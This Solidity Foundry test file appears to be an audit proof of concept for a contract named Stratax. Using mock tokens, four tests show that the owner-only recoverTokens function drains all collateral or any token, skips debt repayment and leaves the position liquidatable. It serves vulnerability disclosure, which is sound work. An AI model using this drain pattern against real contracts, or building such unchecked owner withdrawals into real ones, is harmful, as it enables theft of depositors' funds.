pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
import {StrataxOracle} from "../../src/StrataxOracle.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {BeaconProxy} from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
import {ConstantsEtMainnet} from "../Constants.t.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
contract MockERC20 {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function mint(address to, uint256 amount) external {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function transfer(address to, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(balanceOf[from] >= amount, "Insufficient balance");
require(allowance[from][msg.sender] >= amount, "Insufficient allowance");
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
}
contract RecoverTokensPoC is Test, ConstantsEtMainnet {
Stratax public stratax;
Stratax public strataxImplementation;
UpgradeableBeacon public beacon;
BeaconProxy public proxy;
StrataxOracle public strataxOracle;
MockERC20 public collateralToken;
MockERC20 public aToken;
MockERC20 public debtToken;
address public beaconOwner = address(0xBEEF);
address public proxyOwner = address(0xBAD);
address public depositor = address(0xD00D);
uint256 constant COLLATERAL_AMOUNT = 10 ether;
uint256 constant FLASH_LOAN_AMOUNT = 20 ether;
uint256 constant TOTAL_COLLATERAL = 30 ether;
uint256 constant BORROW_AMOUNT = 54_000e6;
uint256 constant ATOKEN_BALANCE = TOTAL_COLLATERAL;
function setUp() public {
collateralToken = new MockERC20("Wrapped Ether", "WETH", 18);
aToken = new MockERC20("Aave WETH", "aWETH", 18);
debtToken = new MockERC20("USD Coin", "USDC", 6);
vm.mockCall(USDC_PRICE_FEED, abi.encodeWithSignature("decimals()"), abi.encode(uint8(8)));
vm.mockCall(WETH_PRICE_FEED, abi.encodeWithSignature("decimals()"), abi.encode(uint8(8)));
strataxOracle = new StrataxOracle();
strataxOracle.setPriceFeed(USDC, USDC_PRICE_FEED);
strataxOracle.setPriceFeed(WETH, WETH_PRICE_FEED);
strataxImplementation = new Stratax();
vm.prank(beaconOwner);
beacon = new UpgradeableBeacon(address(strataxImplementation), beaconOwner);
bytes memory initData = abi.encodeWithSelector(
Stratax.initialize.selector,
AAVE_POOL,
AAVE_PROTOCOL_DATA_PROVIDER,
INCH_ROUTER,
USDC,
address(strataxOracle)
);
proxy = new BeaconProxy(address(beacon), initData);
stratax = Stratax(address(proxy));
stratax.transferOwnership(proxyOwner);
}
function _simulateOpenPosition() internal {
aToken.mint(address(stratax), ATOKEN_BALANCE);
}
function test_RecoverTokens_DrainsATokensWithNoPositionCheck() public {
_simulateOpenPosition();
uint256 contractBalanceBefore = aToken.balanceOf(address(stratax));
uint256 ownerBalanceBefore = aToken.balanceOf(proxyOwner);
assertEq(contractBalanceBefore, ATOKEN_BALANCE, "Contract should hold all aTokens");
assertEq(ownerBalanceBefore, 0, "Owner should start with 0 aTokens");
console.log("--- PoC 1: aToken Drain via recoverTokens ---");
console.log("aTokens in contract before: ", contractBalanceBefore / 1 ether, "aWETH");
console.log("aTokens held by owner before:", ownerBalanceBefore, "aWETH");
vm.prank(proxyOwner);
stratax.recoverTokens(address(aToken), ATOKEN_BALANCE);
uint256 contractBalanceAfter = aToken.balanceOf(address(stratax));
uint256 ownerBalanceAfter = aToken.balanceOf(proxyOwner);
console.log("aTokens in contract after: ", contractBalanceAfter, "aWETH");
console.log("aTokens held by owner after:", ownerBalanceAfter / 1 ether, "aWETH");
console.log("Outstanding USDC debt remaining: 54,000 USDC (unpayable without collateral)");
assertEq(contractBalanceAfter, 0, "Contract aTokens fully drained");
assertEq(ownerBalanceAfter, ATOKEN_BALANCE, "Owner received all aTokens");
}
function test_RecoverTokens_PartialDrainBelowLiquidationThreshold() public {
_simulateOpenPosition();
uint256 wethPrice = 2000;
uint256 totalCollateralUSD = TOTAL_COLLATERAL * wethPrice / 1 ether;
uint256 debtUSD = 54_000;
uint256 liquidationThresh = 825;
console.log("--- PoC 2: Partial Drain to Undercollateralization ---");
console.log("Total collateral (USD):", totalCollateralUSD);
console.log("Debt (USD): ", debtUSD);
uint256 drainAmount = 15 ether;
vm.prank(proxyOwner);
stratax.recoverTokens(address(aToken), drainAmount);
uint256 remainingCollateralUSD = (TOTAL_COLLATERAL - drainAmount) * wethPrice / 1 ether;
uint256 healthFactorNumerator = remainingCollateralUSD * liquidationThresh / 1000;
bool isLiquidatable = healthFactorNumerator < debtUSD;
console.log("Remaining collateral (USD):", remainingCollateralUSD);
console.log("Effective collateral value at 82.5% threshold (USD):", healthFactorNumerator);
console.log("Debt still owed (USD):", debtUSD);
console.log("Position is liquidatable:", isLiquidatable);
assertEq(aToken.balanceOf(address(stratax)), TOTAL_COLLATERAL - drainAmount, "Partial drain confirmed");
assertTrue(isLiquidatable, "Position is below liquidation threshold after partial drain");
}
function test_RecoverTokens_AcceptsArbitraryToken_NoWhitelist() public {
debtToken.mint(address(stratax), BORROW_AMOUNT);
uint256 balanceBefore = debtToken.balanceOf(address(stratax));
assertEq(balanceBefore, BORROW_AMOUNT);
console.log("--- PoC 3: No Token Whitelist on recoverTokens ---");
console.log("USDC in contract:", balanceBefore / 1e6, "USDC");
vm.prank(proxyOwner);
stratax.recoverTokens(address(debtToken), BORROW_AMOUNT);
assertEq(debtToken.balanceOf(address(stratax)), 0, "Debt tokens fully drained");
assertEq(debtToken.balanceOf(proxyOwner), BORROW_AMOUNT, "Owner received all debt tokens");
console.log("USDC drained to owner:", debtToken.balanceOf(proxyOwner) / 1e6, "USDC");
console.log("No token type restriction -- any token can be drained");
}
function test_RecoverTokens_BypassesUnwindFlowCompletely() public {
_simulateOpenPosition();
uint256 aTokensBefore = aToken.balanceOf(address(stratax));
vm.prank(proxyOwner);
stratax.recoverTokens(address(aToken), aTokensBefore);
console.log("--- PoC 4: Bypass of unwindPosition() ---");
console.log("recoverTokens() used to exit: YES");
console.log("Debt repaid before exit: NO");
console.log("Flash loan required: NO");
console.log("Oracle price checked: NO");
console.log("Health factor validated: NO");
assertEq(aToken.balanceOf(address(stratax)), 0, "All collateral gone via single recoverTokens call");
}
}